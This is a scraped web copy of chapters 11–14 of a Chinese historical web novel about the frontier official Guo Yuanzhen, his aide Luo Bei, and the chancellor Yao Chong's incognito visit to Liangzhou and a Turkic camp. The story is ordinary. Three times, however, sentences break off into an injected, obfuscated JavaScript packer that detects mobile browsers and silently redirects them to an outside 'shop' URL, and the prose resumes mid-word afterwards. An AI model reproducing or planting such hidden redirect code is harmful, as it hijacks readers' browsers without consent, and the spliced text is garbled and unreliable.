“不错,孺子可教。”郭元振笑道,“有些事不上称没有四两重,上了秤一千斤都打不住。弃地失民,这么大的罪名,可不是一颗两颗脑袋能解决的了。斛瑟罗也害怕自己的脑袋一不小心就搬了家,是不是?” 11. 第 11 章 半个月后,瓜州城前。 哥舒亶被押半月有余,终于重见天日。他与自己的一干族人部下重新见面,都有“重获新生”的感觉。 阳光,微风以及远处祁连山上的皑皑白雪,一切都让他觉得如获至宝。 洛北一身便服,正站在城门等他。哥舒亶见到他,忙拜了下去:“洛将军,请受我一拜。” 洛北忙扶住他:“哎,哥舒亶,拜庙可不要拜错了菩萨。”他指了指远处郭元振的位置,“若无郭都督在奏疏中替你求情,你这条性命是保不住的。” 哥舒亶摇了摇头:“不,不仅是为了我的性命。我还知道洛将军给我的族人送了伤药。他们好几个受了伤,又遭了拷问,本以为根本活不成了——是洛将军救了他们,你的恩德,我铭记于心。” 洛北只道:“言重了。”他扶起哥舒亶,来到郭元振面前:“大帅。” 哥舒亶又下拜道了个大礼:“多谢郭都督救命之恩。” 郭元振伸手把他扶了起来:“不用谢,朝廷夺了你世袭的孤舒州都督之职,罚你去赤水军充军。你是个有勇有谋的血性汉子,带着手下这批忠义之士,正应去前线建功。好好地努力吧。总有一日,能把都督的职位再拿回来。” “是!”哥舒亶高声应道,忽而又像想起什么似的:“孝哲叔叔怎么样,他会被我连累吗?” 郭元振闻言哈哈大笑。洛北也不禁莞尔:“哥舒亶,康孝哲如今身在突骑施,朝廷虽然下旨申饬,只要乌质勒不动他,又有谁敢动他?我听说,乌质勒私下里赏了康孝哲不少东西,以嘉奖他对朋友的忠信。” 哥舒亶这才反应过来,以乌质勒和斛瑟罗的关系,知道自己手下派人行刺,只会高兴才对:“是我当局者迷了,多谢郭都督和洛将军指点。” 郭元振目送他远去,跳上马背,长长地叹了口气:“这一摊子事情处理完,咱们也终于可以回凉州了。我得看看那两座受降城修得如何了,你同我一道去。” 郭元振所说的两座受降城便是和戎城和白亭军,这两城一在硖口,一在沙漠,扼守住了吐蕃和突厥前往凉州的交通要道——有了这两座城市,凉州的安全就能得以保障。故而郭元振一直把修城当成头等大事来抓。 洛北低头应了:“是,大帅。” 郭元振示意洛北与他并肩而骑,漫不经心似的提起:“对了,我向朝廷请旨,为你表功,还请朝廷任命你为正七品下录事参军事,批复的文书昨日便已送到,你回去之后,就走马上任吧。” “属下谢大帅提携。”洛北忙道礼。 “你不问我,为什么不继续让你在军中效力?” “属下一年多以前便说过,属下既蒙大帅收留,自当为大帅鞍前马后,在所不辞。至于官职大小,全听大帅的安排。” 郭元振笑道:“我知道你不在乎官职大小,但这件事情不光和官爵有关。你若继续在军中,军法严厉,很多事情只能由我特地调你来办,总归名不正言不顺。如今你做了我手下的参军,一些会议、文件以及机要事务便有了参与的资格,节省很多麻烦。” “属下明白。”洛北又道。 郭元振不由得回过头来看他:“我说洛北啊,你过去在草原上也这么严肃吗?” “属下......不明白大帅的意思。” “你看,又开始了是不是。从前你我通信之时,倒没发现你是个老气横秋的人呐。之后你当了参军,在我身边的机会就更多了。你这一口一个属下,一口一个大帅的,我听着都累。” “大帅,属......我......”洛北一时不知道该怎么回答,只得踟躇几句,低下头去。 郭元振难得见他这副进退失据的样子,忍不住哈哈大笑:“洛北啊,‘我’这个自称就挺好,之后多用用。哈哈哈哈。” 郭元振大笑着打马而去,洛北在原地看了会儿他的身影,也只有一笑,才又打马向凉州而去。 一年后,长安四年,凉州城前。 自西突厥的继往绝可汗与突骑施的战事暂告一段落,往来长安与西域的商旅又重新繁盛起来。凉州城门前,商队与往来行人汇集,队伍直排了二里地去。 队伍中间有一对轻装简行的主仆,正随着队伍缓缓前移,一人年过半百,精神矍铄,着绸布长衫,披黑羽大氅,作悠游文士模样,正望着城楼方向。 另一人套着厚棉布圆领长袍,束蹀躞带,腰挎一口好宝剑,显见是个武人: “姚相公,我还是没明白,您想要微服私访,查察民情,为什么不到咱们灵州以及灵武道内的各州县去呢?凉州虽然离灵州不远,却不归咱们统辖,万一……” “没什么万一,圣上厚恩,我虽已经外任为灵武道大总管,却依旧有同凤阁鸾台平章事的宰相头衔,倘若亮明身份,郭元振也不敢不以礼相待。” 说话的人便是不久前因与女皇男宠张氏兄弟不睦而被外放出长安的宰相姚崇:“慎交,你放松些,莫摆那世家子弟的架子,便不会有事。” 那被训的侍从是时任灵州长史的李贞,表字慎交。 李贞是世家子弟出身,少时就以“左亲卫”的职衔入了长安禁军,一路官运亨通。 如今年过不惑,叫他陡然扮起平民老百姓来,着实让他有些为难。 只是姚崇这样说了,他也只能诺诺称是:“姚相公,灵武道诸地官吏也无不勤勤恳恳,姚相公何以如此看重郭都督和凉州呢?” 此刻恰好队伍移动,姚崇和李贞一道走入关城之内。周围把守的士兵各个都穿铠甲,执长刀,十分严肃。姚崇摆了摆手,示意李贞勿要多言。 李贞心领神会,往队伍前张望,那端坐在桌后的少年参军正抬头喊下一个登记的人上前。 阳光落在他脸上,正照出他眉目分明,发如点漆,端的是风神高迈、容仪俊爽。 李贞不由感叹:“郭都督手下什么时候来了个这么风姿秀美,丰神俊朗的少年郎君?” 姚崇也听到了这句话,压低声音笑道:“郭元振手下有人才啊,慎交,你可注意到,此人虽然年少,可汉话、突厥话、吐蕃话乃至粟特话都切换自如,这样的人,在灵州不多见吧?” 李贞想了想:“灵州常与突厥交战,会突厥话的人多,卑职的突厥语也说得不错,但会吐蕃话的人便不多了。” 他和姚崇一道继续观察:那少年参军正开口以粟特语与正在排队的几个粟特商人争辩。他一手提笔,一手翻文牒、账册,一遇不对之数,随即出口发落,该补税补税,该罚款罚款,样样清楚。 那几个粟特人显然也是常来常往的,争辩了几句,见实在无法蒙混过关,就只能老老实实地低头交钱去了。 李贞正要再说什么,那少年人已经招手示意他们上前:“灵州来的元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281633|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之和李慎交两人?无有随从,无有马匹?” 这话他是用汉话说的,话语清晰,不带一点凉州口音,更接近作为官话的金陵洛下音。听得李贞暗自在心里点了点头,他是世家子弟,又久在长安,听着这口音自然觉得亲切:“马匹入城不便,我们在上个镇甸将它卖了。” “明白了,请将随身包裹予以查验。” 李贞将包裹打开,里面不过文墨纸笔、换洗衣物、银钱若干。那少年参军略看了几眼,便一点头:“好了。”便在文牒上盖了大印,让他们入城去了。 姚崇和李贞一路漫步,一路查问社情民情,颇有收获,待到天色渐晚,宵禁将至,才寻到客栈住下。 两人迈步入店,已有聪明机灵的店小二迎上来,替他们拿包裹,登记姓名来处,安排好两间上房:“二位客官,这晚饭您是在房间用,还是在楼下用?” “就在这里吃了吧,安排个清净的雅间。对了,小二,你叫人烧些洗澡水送到房中,这一天风尘仆仆的,要好好梳洗一番。”李贞说着,随手塞给小二一点碎银。 那小二得了赏银,立刻笑着答道:“是,是,二位客官放心。” 姚崇等他坐下来,才笑道:“慎交果然是世家子弟作派,出手阔气。” 李贞摆了摆手:“姚公又笑我,都累了一天了,咱们也该让自己舒坦些。”他起身正要给姚崇倒些茶水,旁边已有人将茶壶提了起来,将杯斟满,端给二人。 李贞抬头一看,却是那白天打过照面的少年参军。他还未发问,身侧又有人开口说话: “姚相公,慎交兄,两位到访凉州怎么也不和我打个招呼,好叫我尽一尽地主之谊啊?” 说话的正是凉州都督郭元振。 郭元振在兵部担任主客郎中时,姚崇便是兵部的堂官。姚崇也不好太拂了这位老部下的面子,他示意郭元振落座:“我在长安的时候,就听御史说你把凉州治理的不错。恰好如今外放灵武道大总管,借着灵州和凉州距离不远,就来看看,也算是做个参考。” 他指了指李贞:“这是灵州长史李贞,表字慎交,军旅出身,我把他带在身边,算是充作我的护卫。” “见过郭都督。”李贞弯腰道礼。 郭元振不敢受他全礼,忙扶了李贞一把:“慎交兄太客气了。” “元振,你身后这位又是?”姚崇见洛北站在郭元振身后,没有落座的意思,点了一句。 “这是我手下的一个录事参军事,姓洛名北。白日里二位和他打过照面。”郭元振道,“平日里他也替我收集情报消息。两位气度不凡,进城以来,又一路打听社情民情,实在扎眼……” 李贞笑了:“小参军把我二人当成细作了?” “这倒不至于,”郭元振回答,“他以为二位是京中来的台谏官员,故而特来讨我一个示下。我听了名字,猜度是姚相公带着慎交兄来查察民情。所以就叫上他一道来拜见。” 洛北低身见礼:“见过姚相公,李长史。” “好了,不要多礼,坐下吧。”姚崇道,“元振,你手下这个小参军虽然年纪不大,但确实能力出众。你凉州有这样的官吏,何愁边境不安,百姓不治啊。” 郭元振略一低头:“姚相公谬赞了。”他和姚崇虽做过上下级,但无甚私交。现在的一言一句,更像是“奏对”。姚崇不免一笑,招呼他坐下一道用饭。 12. 第 12 章 酒过三巡,菜过五味,几人举杯数次,宾主尽欢而散。 郭元振已喝得酩酊大醉,趴在桌上起不来身,还是洛北把他背到了马车上,才回到都督府。 但一进都督府的大门,郭元振就一扫席间醉态,坐直了身子:“到我书房来,我还有几件事情要交代给你。” 洛北自当从命,免不了一笑:“大帅这装醉的本事真是炉火纯青了。” “和他俩喝,喝到明天早上也喝不出结果。我这里事情又那么多。”郭元振也哈哈一笑。 书房里一片寂静,灯火都熄灭了。洛北点了根蜡烛放在桌面上,正好看到一封写着“洛北亲启”的信。 洛北不由得拿了起来:“这是?” “解御史托我给你的。”郭元振一面换下厚重的外袍,换上家常的棉布直裰,“你拆来看看。” 洛北拆开信封打量一眼,烛火明灭,照见他脸上一片五味杂陈的表情:“这是……伯克的信?” 郭元振听他以“伯克”称呼阿史那献,又见他脸上一片复杂,便知道自己之前的猜测都是真的: “伯克”一词,在突厥语中意为“主人、老爷”,是亲族和奴仆尊称自己族长的用语,不是亲生儿子称呼父亲的——也就是说,在此之前,阿史那献本人恐怕从未承认过这个儿子的存在。 “去年朝廷下旨将阿史那献自崖山召还,他一路辗转。月余前才到长安。解琬那时已被任命为北庭都护,又恰好正在长安。北庭都护府统辖的部族和土地多为兴昔亡可汗家族的旧部和故地。故而解琬登门拜访,向他求教北庭事务。他二人言语间提到你的名字,阿史那献才知道你还在人世。” 洛北低垂眼眸:“当年和伯克分别时,我才七岁,一晃眼,十来年过去了,难为他还记得我……” 郭元振轻轻叹息一声:“其实,阿史那献听闻你的消息,欣喜若狂,本要托解琬转交些东西给你,都被我和解琬一口回绝。他初回长安,不宜横生枝节。” 他顿一顿,温言宽慰洛北道:“我想,虽说他不肯让你叫他父亲,但是,你之所以能成长为精通骑射、通晓阿史那家族诸般人事典仪的‘乌特特勤’,其中多少还是有阿史那献躬亲抚养,言传身教的功劳吧?” 洛北张了张口,欲言又止,最终还是点头:“是。” 郭元振只想确认他的身份真假,却不想带出他的这段伤心往事,见他心情低落,也不在这上头纠缠。 他从抽屉中抽出一份地图,铺在桌上:“酒宴上姚相公说要去附近归附的部族走一走,你常在草原上行走,熟悉他们的情况,不妨说说你的想法?” 自贞观年间起,陆续有突厥、回鹘、吐蕃、吐谷浑等部被安置在凉州附近。这些部族彼此语言不通,势力范围犬牙交错,常有大大小小的摩擦。自洛北到了郭元振麾下,郭元振就把这些事宜委托给他处置。 洛北圈了几个中小型的部族:“这几个部族归附时间有长有短,但都民风淳朴,对外人也报以开放的态度,可以作为选项。” 郭元振点了点头,又在地图上补充圈了一片地区。 “吐谷浑?”洛北有些迟疑,“吐谷浑首领不是应当在灵州吗?姚相公何必跑到凉州来见他们?” 吐谷浑部族是世居辽东的慕容鲜卑之后,在太宗贞观年间因不堪吐蕃欺凌,率部归附大唐,搬来了凉州。到了高宗年间,朝廷在西北对吐蕃用兵,就让吐谷浑部族回到了故地,以为接应。 但大唐最终兵败吐蕃,吐谷浑也不得不仓皇逃出青海。大唐又把他们安置在灵州。 郭元振笑了:“你忘了,吐谷浑部族的祖陵‘大可汗陵’是在凉州。这些日子正是吐谷浑部族洒扫祭祖的日子。姚崇此来必然与吐谷浑有关,只是一时之间,我还没有想到他的真实目的……恐怕你得放聪明些,倘若他不肯亮出底牌,就不要带他去那里冒险。” 洛北轻轻一笑:“我还以为女皇派姚相公到灵州来是为了迎回被扣在突厥多年的淮阳郡王武延秀呢?” 淮阳郡王武延秀是女皇的侄孙,当年,为了联合默啜共击契丹,女皇把这个姿容秀美的侄孙派去了突厥和亲。 可武延秀一到突厥,默啜立刻翻脸,不仅把武延秀扣押在突厥,还说他是要把女儿嫁给太宗皇帝的子孙,怎么可能看得上武家的男人,又以此为理由,入侵武周,甚至一度打到了女皇的老家北都太原。 郭元振见他笑得狡黠,不由得敲了一下他的肩膀:“你笑什么,当我不知道默啜入侵时喊的‘何不归我庐陵王。’的口号是你乌特特勤写的吗?” 洛北没想到郭元振对突厥国内事务如此熟悉,只得敛容正色道:“淮阳郡王不知道不就行了。我在突厥的时候,那小子隔三差五地就要找我喝酒,喝着喝着,就一边哭一边喊着要回家的事情。不瞒大帅,他的突厥话都是我教的。” 郭元振没想到他左右逢源到了这样的地步:“我要是默啜,面对你这样的下属,心里也会打鼓。至于淮阳郡王……陛下让姚相公来迎他回京,确实也有爱护这个侄孙的意思。只是这么大的事情,需要摆出全套仪仗,还要带上不少东西,不是一时半会儿能置办好的。你且充当向导,随姚崇他们去草原上吧。” 几日后的清晨时分,洛北换了身粗布青衫,与姚崇和李贞在街口相会:“二位上官,早饭用得可好?” 姚崇颇为玩味地看了他一眼:“你家郭都督确实精心,代我谢过他。” 洛北只是一笑,并未答话。三人各自上马,一路疾驰,不到半日功夫,便已经远离了凉州城。 此刻是秋日,草原上草长莺飞,天空明净。牛群羊群便像珍珠那样散落在草原上,偶有牧人挥鞭将它们赶一赶,鞭声和呼喝声就传得好远。 “真是‘久在樊笼里,复得返自然’啊。”姚崇久困于案牍公文之间,见此情景,不由得心旷神怡,吟咏起陶渊明的诗词来,“洛参.....洛北,我们就在这里休息片刻如何?” “是。”洛北跳下马,替他们在草地上铺好毡毯,又从包裹里取出馍馍来递给他们,“此地是牧民们放牧的草场,天干物燥,不宜生火,请两位将就一下。” 姚崇拧开所带的水壶,喝了一口水,又吃了口馍馍:“虽说不宜生火,这馍馍还是热的。你这是变戏法出来的?” “不是。”洛北回答,“突厥人常在行进之时将肉与面饼贴着马肚摆放,一日奔驰下来,便将肉和饼都热得半熟,可以食用。我效仿此法,只是把这馍馍早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281634|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早蒸熟,吃的时候有些温度,更好下咽。” “这倒是常来草原的人才能想得出的办法。”李贞把一个馍馍吞下肚,正看到远处有几个打猎归来的汉子,便呼喊了他们几声。 那群人也以生硬的汉语回应:“喂,那边的人,是来行商的吗?” 他们策马走到近前,为首的青年先认出了洛北的面容,不禁笑道:“师父今年怎么来的这样早?正好有几个疑难杂症要找您呢。” “城里没什么事,就来看看。”洛北依旧以汉语答他,“今年年景好吗?” “好~托祆神的福,家里的羊崽子都养的胖胖的。卖出去的收入可以过个好冬天。”那汉子说,“前段时间我们还说起您,阿妈说吃了您的药,眼睛好多了,等您冬天来的时候,要留您多住一阵子。” 李贞不禁在一边发笑,这个人身背长弓,手提一只大狼,身高体阔,高鼻深目,是个地道的突厥大汉,谁能想到他和洛北这么一个还没弱冠的孩子讲起话来,却这么轻声细语,尊敬得要命。 他这一笑,那大汉才注意到李贞和姚崇:“这两位是?” “路上遇到的皮货商人,姚老板和李老板,他们都是来草原上收皮货的。”洛北解释道,“第一次来,不认得路,就叫我一起。” 他转而向姚崇和李贞解释:“这是此处部族的首领之子,名叫阿米尔。是我的学生。” “你的学生?”李贞好奇道,“你这个岁数,就收学生了?” “你们汉人不是有‘三人行,必有我师‘的说法,孔子还拜小儿为师,我拜师父为师又有什么不妥?”阿米尔当即反驳道。 姚崇哈哈大笑,心下只觉得洛北这个人有些意思:“是,是,师徒名份倒也不在于年纪大小。”他递出名帖:“兄弟,我和慎交都是头一回来草原上,只想认认路,和大家交个朋友。” 阿米尔接过名帖:“何必这样麻烦,你们是师父的朋友,就是我的贵客了。”他以突厥语对同伴们说几句,几人前呼后拥地把洛北等人一起请到自己部族的营地里。 正值秋高气爽的时候,各处放牧的人们带着牲畜们回家了。帐篷内外热闹得不行。人们聚在一道,一起买卖牲畜、购置家什,然后便是没完没了地聊天,聊草原上的事情,聊凉州城里的事情。篝火点起来的时候,就有人弹起琴来唱歌跳舞。 姚崇和李贞行在人群之中,一路听着人们说说笑笑。姚崇低声对李贞道:“倘若天下所有的羁縻州府都如凉州,天下太平也就不远了。” 李贞点了点头,似乎有些明白姚崇非要来凉州的深意。他再一前望,洛北已经被一群男女老少们上来围住了。那些人用突厥话和生硬的汉话叫他的名字,请他去看病,拉他去吃吃喝喝,找他一道跳舞。 阿米尔把洛北从人群里拽出来:“走,走,跳你们的舞去,唱你们的歌,等我请教完了师父,再和你们说话。” 洛北好奇问他:“怎么了?” 阿米尔低声道:“前段时间气温骤降,有个人想是着了凉,一直发热,冷汗。最近开始呕吐,我试了用丁香、藿香、滑石一类的东西,他一口也咽不下去,眼看着人就要不行了。” 洛北挽了挽袖子:“走,领我去看看。” 13. 第 13 章 那病人的几个孩子正守在门前,看到阿米尔领着洛北来了,都蹦起来,要去找他们的母亲。 洛北迈进帐篷里,给他号了脉,出来又用汉话问:“你们爸爸发病之前,是不是吃多了羊肉,还喝了酒?” 几个孩子都是半大模样,不太通汉话。他们的母亲也不知道在何处。 洛北打着手势,比划着又用汉话问了一遍:“你们爸爸发病之前,是不是吃了羊肉,还喝了酒?” 最大的那个女孩子瞪着一双向日葵似的棕色眼睛看着他,点了点头。 洛北从包里拿出一包药包,递给阿米尔:“你用这竹茹汤试试。记得要用半碗姜汁,浆水一升,煮到水少一半就行。” 阿米尔点了点头,又问洛北:“师父,姜汁是什么?” 洛北正想着怎么打这个比方。一边打李贞已经突兀地用突厥话开了口:“一种用‘姜’磨的汁水。” “我知道了。”阿米尔这才又打量了一眼李贞,“哎,你这个皮货商人,突厥话倒是说得不错嘛。” “没这点本事,哪敢到草原上来收皮货啊。”李贞笑着继续用突厥语说。 阿米尔摇了摇头:“收皮货的事情,最好是问问我阿爹,他今天打猎去了,要明天才能回来。”他给姚崇和李贞指了指客人们休息的帐篷:“两位请在这里休息吧,地方狭小,请见谅了。” 姚崇和李贞自然是“既来之则安之”。好在那帐篷虽小,却收拾的很干净,毡毯晒得干干的,坐上去便闻到太阳和干草的气息,茶水在炉子上呜呜地叫着,炉子上还烤了些野果。 李贞给姚崇倒了杯热茶:“这个洛北,真是搞不懂他,在凉州的时候突厥话不是说得很流利吗?怎么到了草原上,一句突厥话都不说了?他刚刚要是说突厥话,省了多少事。” 姚崇身为宰相,自然想的比他更多些:“慎交,你把他的做法想的简单了。他不辞辛苦地奔忙于各部族之间,不是为了救这一两个人,而是为了广播教化。” 李贞追问:“我怎么不明白姚公的意思?” “慎交,你想,如果你是住在草原上的一个不识字的牧民,部族中的人生了病,都是靠汉人郎中治好的。而这个汉人郎中,不会一点突厥话,那他们为了让自己的病更容易治好,会做什么?”姚崇问。 “学汉话。或者叫自己的孩子学汉话。”李贞反应了过来,“他是想用‘看病’这个事情,使牧民们多学些汉话?” “是,多说汉话,便要多学我们的文化。这些内附的部族便也沐浴王化了。”姚崇由衷感慨道,“你看,他的‘学生’不就说着一口流利的汉话,还对他执礼甚恭吗?” 他俩聊到这里,阿米尔和洛北一道走了进来,洛北正在叮嘱他:“要学医术,还是要学《伤寒杂病论》、《千金方》这些大家之言。” “那几本书太难懂了。我一边读,一边认,还有好些字认不全。要是有机会,我真想去长安城里看一看,学一学。” 阿米尔给三人倒了茶水:“可是家里的牲畜和部族都离不开人。要是我的孩子出生长大,倒可以让他去看看。” 姚崇和李贞对视一眼。李贞才知道姚崇的高瞻远瞩。 洛北全然不知他们的这番交流,还在问阿米尔话:“你的妻子,美丽的丹姆姑娘呢?她怀着身孕,孩子可就是这一两个月内的事情了,你这个做丈夫的,要多多上心才是。” “师父别总说我啊。我哪管得住她,我不让她多动,她还骂我。”阿米尔低下头笑了一笑:“这个月份了,还在外头骑马。” 他这一笑,在场的人就都知道他们夫妇是一个愿打,一个愿挨,不免为这小儿女情态笑了一会儿。 阿米尔不好意思地走到炉子边,把那瓜果一个个地塞到众人手里,再一抬头,看到外头跑来一个孩子,扒着帐篷门往里瞧:“喂,孩子,在外头看什么?进来,给你果子吃。前天丹姆采回来的,可甜了。” “不要不要。”那小孩连忙摆摆手,“阿妈叫我来找洛郎中和你,阿米尔叔叔,还说,如果你们在忙,就不要打扰。” 他们几人当然没什么可忙的,一道说说笑笑地回到病人家的帐篷跟前,那妇人正站在门口等着他们来,一见到他们,慌忙跪倒在地,给他们磕头。 阿米尔忙把她扶起来:“可是病人好了?” “好了好了。能说话能吃东西能走路了,正烧了一碗热热的羊肉汤给他喝。”妇人用生硬的汉话道,“等他大好了,我再带着他来给两位磕头。” “夫人,这羊肉汤可不能再喝了。他这就是酒和羊肉混在一起吃得太多,才引起的胃热,又兼身体受凉,热气发不出去。” 洛北忙把自己手中的果子递给妇人,“要吃些东西,也要吃些容易消化的,连米一起放在锅里煮,成粥了再给他喝。” 那妇人听得半懂不懂,只记得了要放些米,忙离开去整治饭食。阿米尔又问起为何要少食羊肉的道理,洛北又温言给他解释。 两人来来去去,说的都是医理。姚崇和李贞不耐烦听,打算各自回帐篷休息。他们一转身,正看到马儿嘶鸣,载着一个浑身是血的姑娘冲进营地里。 阿米尔听到马鸣,神色大变,冲出帐外,从马背上抱下来一个浑身是血的姑娘:“师父,你救救她,救救丹姆!” 洛北伸手按住丹姆的脉搏,神色一时沉下来,不言不语地又换了只手。 “怎么样?”阿米尔急得要哭了出来。 “现在不是哭的时候,”洛北深深地吸了口气,尽量把汉话说的好懂些,“现在,你把丹姆抱到帐篷里,我去拿针,然后你去把部族中的接生婆婆找来,再备上热水、干净的手帕。” 帐篷里的哭叫一直到深夜时分才停下。阿米尔在帐篷外等得焦急,见此情景,当即要冲进去,差点没把走出来的洛北撞翻。 “对不住,没看到——师父,里面怎么样了?丹姆怎么样?我的孩子怎么样?”阿米尔看到他,倒像看到了主心骨,一把抓住他的手腕,连连追问。 “丹姆没事,就是气力耗得太厉害,要休息会儿。你的孩子也没事。是个男孩,只是早产的孩子难免虚弱,你让他在暖和的地方多待待,不要轻易出去见人。” 洛北见阿米尔只知点头,身子还在下意识地往帐篷里冲,只得让开半边身子,把阿米尔放进帐篷里。 产婆正拍孩子的脚心,那孩子爆发出第一声有力的啼哭。阿米尔看看孩子,又看看丹姆,只憋出一句:“你辛苦了。”便握着她的手往自己脸上摩挲。 洛北在帐边看了一会儿,确认没什么大事,就移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281635|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动步子走了出去。 他这一天实在劳累,又集中精力太久,几步路一走、差点没摔倒在地。他试着要抓帐篷那光滑的边缘,却感到有人在身后扶了他一把。 李贞将一碗热羊奶塞到他手里:“你累得太厉害,喝一口吧。” 洛北喝了一口,才有力气摸索着在地上坐了下来:“多谢李……先生。” “我可当不得这个先生,我也久在边塞,不耐烦那些规矩,你叫我一声慎交兄吧。”李贞也在他身边坐了下来,“姚公不耐烦熬夜,先睡了。我怕你今天干了这许多事情会累倒,就多留了留。” 他见洛北开口又要说什么,摆了摆手止住:“谢字就不要再说了。同行之人,谢不绝口的,实在奇怪。” 洛北缓缓地把羊奶喝了,才觉得恢复了些力气。他张口又要说谢,却看到李贞一脸笑意,正看着他,只得自嘲般地轻笑一声,又低下头去。 李贞知道他是不好意思,便开口岔开话题:“洛北,你这手医术,也称得上高超了,怎么就留在这甘凉之地,没想过去长安太医院试试?你要是想去,我替你写信推荐。” “慎交兄的心意我领了。但我这点伎俩,不一定能够得着太医院的门。至于阿米尔那个天天喊着要去太医院的小子,就更是连门槛都摸不到了。” 李贞不由得一笑:“就这样,你还天天那样仔细地教他,刚刚看你二人讨论医理,那个掰开了揉碎了的细致劲儿,倒像是乡塾里的蒙师教孩子。” 洛北也被他的比方逗笑了:“我教阿米尔这些,也不是为了让他去太医院。其实,草原上大部分的疾病都是根出同源,不过是因为环境恶劣、缺衣少食罢了。他能从我这儿学到一点小伎俩,解决一些力所能及的病,叫人不要为了一点小病就砸锅卖铁地求人,被那些巫医折磨,便足够了。” “这……那你,在其他部族也有阿米尔这样的学生了?” “不多,不过是七八个人罢了,都是在一些中小型的部族。大些的部族,尤其是都督们亲自统领的那些,根本看不上这些小东西。还觉着我有意教坏了他们的人。”洛北低下头,拿手拨了拨地上的草叶,像在问李贞,又像在问自己:“……七八个人,若是能一人救一个,也是个帮助,是不是?” 李贞不料他做此事的本心如此简单,张了张口,一时竟不知道如何回答。 倒是洛北似乎察觉到自己多言,起身又是平日里温和疏离的模样:“走吧,慎交兄,该回去休息了。” “洛北!”李贞快步赶上洛北,“你有此大仁德大慈悲心,又有这样的能力,将来前途必不可限量。” 洛北闻言只是笑笑:“借你慎交兄吉言,将来的事情,将来再说吧,我现在只想好好睡一觉,最好第二天能晚点起来。” 他这心愿自然是没能如愿。第二天一早,阿米尔的父亲首领巴尔思回到部族的营地,见了刚出世的小孙子,就又免不了一顿兵荒马乱的千恩万谢。姚崇和李贞也沾了光,吃上了一顿首领亲自招待的早饭。 早饭过后,姚崇和李贞自然被首领留下来谈生意的事情。洛北借口不懂经济,溜出来去看阿米尔和丹姆。 阿米尔正在丹姆床前抱着孩子和她逗乐,见到洛北来了,忙把孩子放摇篮里,搓着两手站了起来:“师父。” 14. 第 14 章 洛北懒得教训他孩子早产要少折腾的道理,只从怀里掏出两只荷包:“这贺礼是本来就预备着要给你们的,没想到还能赶上这个趟。” 阿米尔抽开绦子一看,里头是两个笔挺如意的金锞子,当下差点跳起来:“师父,这我怎么能收!你救了我妻子和孩子的性命,我都不知道怎么谢你,哪里敢收这么贵重的礼!” 丹姆坐在床上,面色苍白,神色却镇静:“阿米尔,你就收下吧。救命之恩我们感恩在心,不可不报,贺礼却是师父的一片心意。” 阿米尔只得点点头,把荷包收起来,一个塞在丹姆的床下,一个塞在孩子的摇篮里。 “丹姆,我还有件事情要问。”洛北轻声细语地问,“我昨天试了试你的脉象,脉象显示你是害怕才会早产的,你遇到了什么事情,叫你这样害怕?” 丹姆低下头想了想:“其实也没什么,可能是我看错了……” “莫害怕,”阿米尔连忙追问,“我们这么多人在这里,谁敢动你,我一定杀了他!” “孩子面前说什么打打杀杀的。”丹姆瞪了他一眼,“我昨天耐不住性子,出去骑马放风,走着走着便走到神山附近,突然旱天里打雷,我看到有白色的人骑着黑马,跟在红色的神主旁边飞快地跑过去了,后来风沙一大,雷声渐小,他们就消失在神山里了,就像……” “就像萨满讲的故事一样恐怖,是吗?”洛北道。 “是……”丹姆不好意思地低下头,“那一阵风大,又打雷,月亮也躲到云里去了,我真是被吓着了,这才会倒在马上,叫马儿一路驮了回来。现在想想,这些或许都是我看错了。” “我想也是。”洛北笑了笑,“现在你在温暖的帐篷里,身边有家人和朋友,不必多想。把身子养好是最要紧的。” 他从帐篷里告辞出来,回到巴尔思的大帐里。姚崇、李贞和巴尔思还在笑笑地互相交谈。 见到他来,姚崇开口问他:“刚刚巴尔思首领在和我们说起名字的事情,洛郎中,你有什么意见吗?” 洛北轻轻地摇了摇头:“我哪懂取名字?明日是十五,是祭山的日子,不如问问祖先和山神有没有指示。” 巴尔思拍了拍大腿:“是,是,洛郎中说的对,是该问问祖先和神灵。一高兴什么都忘了。几位,为了这祭典我还猎了头野鹿呢!若是诸位不忙,不妨多留一天,等祭典后再走?” 姚崇知道祭山的习俗。在突厥,每年部族首领都要带着子弟们在十五这天祭祀高山和祖先居住过的石室。他从未在现场看过祭典,便一口应允下来。 第二天,巴尔思和祭司带着头,契苾部族的男男女女们都换上了节日的盛装,新换的靴子踩在戈壁上,发出吱呀吱呀的声响。 阿米尔抱着被裹得严严实实的孩子,跟在祭司和巴尔思的后面。 洛北和李贞、姚崇一起走在最后的位置,他们是观礼的外乡人,本来按照规矩不可一起上山,但念在有救命的大功,也被允许走近观礼。 终于,火堆烧起来了。 